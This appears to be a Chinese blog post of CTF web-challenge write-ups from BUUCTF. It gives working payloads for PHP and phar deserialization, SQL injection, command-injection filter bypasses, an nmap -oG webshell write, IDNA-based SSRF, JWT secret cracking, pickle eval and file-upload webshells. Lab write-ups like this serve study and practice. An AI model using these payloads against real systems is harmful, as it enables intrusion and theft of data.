Hint:flag is in ./flag.txt
知识点不会,还是不照着wp写了
可参考文章:
[De1CTF 2019]SSRF Me
[De1CTF 2019]SSRF Me之愚见
由于有备份文件,尝试www.zip发现可以下载!!!
得到flag.php文件,但发现Syc{dog_dog_dog_dog}
并不是。。。。然后查看class.php得到
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "NO!!!hacker!!!";
echo "You name is: ";
echo $this->username;echo "";
echo "You password is: ";
echo $this->password;echo "";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "hello my friend~~sorry i can't give you the flag!";
die();
}
}
}
?>
为php反序列化,有两个条件$this->password == 100
和$this->username === 'admin'
,为了得到序列化的结果,加入代码如下:
$a = new Name('admin',100);
$b=serialize($a);
echo $b;
得到:
由于是private,private在序列化中类名和字段名前都要加上ASCII 码为 0 的字符(不可见字符),所以我们要加%00或\0,满足个数为14,即
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。
所以改为:O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
由于在index.php看到:
那么传值即可得到flag
真就是白给的shell,白给的题目
使用蚁剑链接,密码为Syc,即可在根目录下得到flag
万能密码登录admin' or 1=1#
得到了pass:9aa3f54e86651aa2d60aca2ffe2ff03b
发现没啥用,看url发现可以试试sql注入,并没有过滤。。。。。
?username=2&password=12' union select 1,2,3%23
发现有三列
?username=2&password=12' union select 1,2,database()%23
得到数据库geek
?username=2&password=12' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())%23
得到geekuser,l0ve1ysq1
?username=2&password=12' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1')%23
得到id,username,password
?username=2&password=12' union select 1,2,(select group_concat(id,0x3a,username,0x3a,password) from l0ve1ysq1)%23
查看源码即可得到flag
账号admin,密码admin888可登录
并没有什么卵用,查看help,发现很像文件包含,看完wp回来了
有一个任意文件下载漏洞,将请求方式换为POST即可
WEB-INF主要包含一以下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码
首先下载并读取初始化配置信息/WEB-INF/web.xml
这个就是flag的路径,接下来用class读取出flag
filename=WEB-INF/classes/com/wm/ctf/FlagController.class
有一个base64编码的内容,解码可得到flag
参考文章:[RoarCTF 2019]Easy Java
拿到题目第一件事情查看源码
访问得到提示:It doesn't come from 'https://www.Sycsecret.com'
,使用Referer头
得到提示:Please use "Syclover" browser
,修改UA头
得到提示:No!!! you can only read this locally!!!
,使用XFF头
得到了flag
看完wp,我这里首先下载了一个爆破目录的软件:渗透实战之目录爆破工具dirsearch
使用发现有www.zip文件,进行代码审计,接着下载了Seay源代码审计系统,下载链接:Seay源代码审计系统
得到几个可能存在的漏洞,接着查看文件发现在config.php看到了flag
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
在profile.php中有一个文件读取,而且是反序列化的内容
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
base64_encode(file_get_contents($profile['photo']));
如果可以让photo变为config.php就可以得到flag了。
PHP反序列化中值的字符读取多少其实是由表示长度的数字控制的,而且只要整个字符串的前一部分能够成功反序列化,这个字符串后面剩下的一部分将会被丢弃
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
在class.php可看到我们只有传入的字符串中有where
关键字,被替换为hacker
关键字,才会让长度加一,否则长度不变
数组绕过:
md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) = null
preg_match(pattern,Array()) = false
strcmp(Array(), "abc") = null
strpos(Array(),"abc") = null
strlen(Array()) = null
首先在register.php注册一个账号,然后登陆到update.php
因为";}s:5:“photo”;s:10:“config.php”;}
是34个字符。那么我们就传递34个where,即可绕过
有warning,但无关紧要,访问地址并查看源码得到一串base64加密的字符串,解密即可得到flag
参考:[0CTF 2016]piapiapia之愚见
给出了源码如下:
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "
"
.file_get_contents($text,'r')."";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
第一个绕过:
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
使用data伪协议,data协议通常是用来执行PHP代码,然而我们也可以将内容写入data协议中然后让file_get_contents函数取读取
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
,那串base64解码即为welcome to the zjctf
第二个绕过:
$file = $_GET["file"];
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
有file参数,但无法直接读取flag,使用filter来读useless.php的源码
file=php://filter/read=convert.base64-encode/resource=useless.php
第三个绕过:
$password = $_GET["password"];
include($file); //useless.php
$password = unserialize($password);
echo $password;
为反序列化,构造需要的参数即可,在本地序列化
class Flag{
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password=new Flag();
$password = serialize($password);
echo $password;
?>
运行得到序列化的结果:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
,用password传参即可
查看源码得到flag
打开很明显为命令执行,先执行ls
fuzz发现过滤了:空格 / + * ? { } ( ) [ ]等符号以及flag字符串,但=和$没有过滤,用$IFS$9
过滤空格,a=fl;b=ag;$a$b
过滤flag,无用!!
查看index.php
RCE读取PHP文件时,一定要从源代码看,因为PHP不能被解析!
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo ""
;
print_r($a);
}
?>
最后试不出来,看wp,发现方法很多
1:a=ag.php;b=fl;cat$IFS$9$b$a
2:cat$IFS$9`ls`
3:echo$IFS$9Y2F0IGZsYWcucGhw=$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|sh
4:tar$IFS$9-cvf$IFS$9index$IFS$9. 打包目录下的所有文件为index,下载即可
打开获得源码:随后就去看了wp
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
发现不会的函数,查看php手册
即使参数用了 escapeshellarg 函数过滤单引号,但参数在拼接命令的时候用了双引号的话还是会导致命令执行的漏洞
对于单个单引号, escapeshellarg 函数转义后,还会在左右各加一个单引号,但 escapeshellcmd 函数是直接加一个转义符,对于成对的单引号, escapeshellcmd 函数默认不转义,但 escapeshellarg 函数转义
题目先用escapeshellarg,后用escapeshellcmd,会造成漏洞如下:
127.0.0.1' -v -d a=1
'127.0.0.1'\'' -v -d a=1'
'127.0.0.1'\\'' -v -d a=1\'
curl 127.0.0.1\ -v -d a=1'
,即向127.0.0.1\发起请求,POST 数据为a=1’。由于nmap有一个参数-oG可以实现将命令和结果写到文件
?host=' -oG 1.php '
使用蚁剑,地址为:http://6945240f-3948-46b6-8a76-aa23b97ab20f.node3.buuoj.cn/620da91054ae45f37c80a6fd6b2d47df/1.php
即可得到flag
因为单引号被过滤了,我们使用反引号cat /flag
?host=' -oG 1.php '
访问即可得到flag
注意最后一个’前有空格
参考:
谈谈escapeshellarg参数绕过和注入的问题
PHP escapeshellarg()+escapeshellcmd() 之殇
[BUUCTF 2018]Online Tool
在pay.php查看源码得到一串代码
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number";
}elseif ($password == 404) {
echo "Password Right!";
}
}
抓包看一下,修改代码可得
然后我们要money为100000000,但输入超过的值会返回太长,猜测判断是通过strcmp函数,可以构造数组
或者可以科学计数法来使价钱成立
CVE-2019-9636:urlsplit不处理NFKC标准化
PTT:BlackHat2019
题目给出了源码:
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
<!-- Dont worry about the suctf.cc. Go on! -->
<!-- Do you know the nginx? -->
前两个判断 host 是否是 suctf.cc ,如果不是才能继续。然后第三个经过了 decode(‘utf-8’) 之后传进了 urlunsplit 函数,在第三个判断中又必须要等于 suctf.cc 才行
Nginx的配置文件目录为:/usr/local/nginx/conf/nginx.conf
在网上找到了一个师傅的脚本,用来寻找可用字符:
# coding:utf-8
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("-") in res:
continue
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
except:
pass
构造payload:file://suctf.c℆sr/local/nginx/conf/nginx.conf
或者file://suctf.cℂ/usr/local/nginx/conf/nginx.conf
读取flag:file://suctf.c℆sr/fffffflag
即可
还看到有另一种解法,师傅的脚本:
from urllib.parse import urlsplit,urlunsplit, unquote
from urllib import parse
url = "file:////suctf.cc/usr/local/nginx/conf/nginx.conf"
parts = parse.urlsplit(url)
print(parts)
url2 = urlunsplit(parts)
parts2 = parse.urlsplit(url2)
print(parts2)
payload:file:////suctf.cc/usr/local/nginx/conf/nginx.conf
可参考:
王叹之:[SUCTF 2019]Pythonginx
昂首下楼梯:[SUCTF 2019]Pythonginx
首先注册登录,发现有一个上传文件,上传php,发现为白名单
抓包尝试,发现修改文件类型就会将后缀名也一起改了,例如上传1.php.php,修改Content-Type得
去看了wp。由于可以下载文件,那么我们抓包可实现任意文件下载
得到了几个常见文件的源码,在class.php得到关键信息:
#代码精简一下
class File {
public $filename;
public function close() {
return file_get_contents($this->filename);
}
}
class User {
public $db;
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
#省略了一些影响阅读的table创建代码
$table .= '';
foreach ($this->funcs as $func) {
$table .= '' . htmlentities($func) . ' ';
}
$table .= 'Opt ';
$table .= ' ';
foreach ($this->results as $filename => $result) {
$table .= '';
foreach ($result as $func => $value) {
$table .= '' . htmlentities($value) . ' ';
}
$table .= ' ';
}
echo $table;
}
}
?>
File类中的close方法会获取文件内容,如果能触发该方法,就有可能获取flag。
User类中存在close方法,并且该方法在对象销毁时执行。
同时FileList类中存在call魔术方法,并且类没有close方法。如果一个Filelist对象调用了close()方法,根据call方法的代码可以知道,文件的close方法会被执行,就可能拿到flag。
运行如下PHP文件,生成一个phar文件,更改后缀名为png进行上传。
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$o = new User();
$o->db = new FileList();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
运行时报错,要将php.ini中的phar.readonly选项设置为Off,并将前面的;去掉,否则无法生成phar文件

生成了phar.phar,改名为phar.png,上传并删除文件时抓包

参考:
ciscn2019华北赛区半决赛day1_web1题解
初探phar://
[CISCN2019 华北赛区 Day1 Web2]ikun
鬼才出题人,kunkun应援团可还行!!!!
先找信息,有一个关键的为:ikun们冲鸭,一定要买到lv6!!!

首先注册登录,然后去找lv6的账号,用python脚本跑
import requests
url="http://922b9ddf-ebc4-468b-9671-597b2908778a.node3.buuoj.cn/shop?page="
for i in range(0,2000):
r=requests.get(url+str(i))
if 'lv6.png' in r.text:
print (i)
break
得到在page=181有lv6的账号

发现买不起,但可以在前端修改折扣,师傅称:薅羊毛逻辑漏洞

进入发现要admin才能访问

看wp发现有为JWT漏洞:认识JWT

直接在网站jwt.io对JWT解密,要将username改为admin,需要key,这里要下载一个软件:c-jwt-cracker

安装openssl的标头。在Ubuntu上,可以使用apt-get install libssl-dev,然后make一下就可以使用了

得到1Kun
,即可更改JWT了

成功使用admin进入,查看源代码发现有友军已经进入,得到源码

在admin.py发现有pickle反序列化

__reduce__()介绍:
reduce它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。
这个元组包含2到5个元素,其中包括:
一个可调用的对象,用于重建对象时调用;
一个参数元素,供那个可调用对象使用;
被传递给 setstate 的状态(可选);一个产生被pickle的列表元素的迭代器(可选);一个产生被pickle的字典元素的迭代器(可选)
使用师傅的脚本:
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a

得到c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
最后点击一键大会员修改become的值

最后得到flag

参考:掘地三尺有神明:BUUCTF-WEB-[CISCN2019 华北赛区 Day1 Web2]ikun
王叹之:[CISCN2019 华北赛区 Day1 Web2]ikun
W4nder:[CISCN2019 华北赛区 Day1 Web2]ikun
[极客大挑战 2019]Upload
做一个简单的上传。
某些情况下绕过后缀名检测:php,php3,php4,php5,phtml.pht

尝试了各种文件后,发现phtml可行,执行了php语句

蚁剑连接即可得到flag

菜鸡一枚,水平有限,本文仅为做题的记录方面以后查询,如有错误请指正,见谅
你可能感兴趣的:(刷题)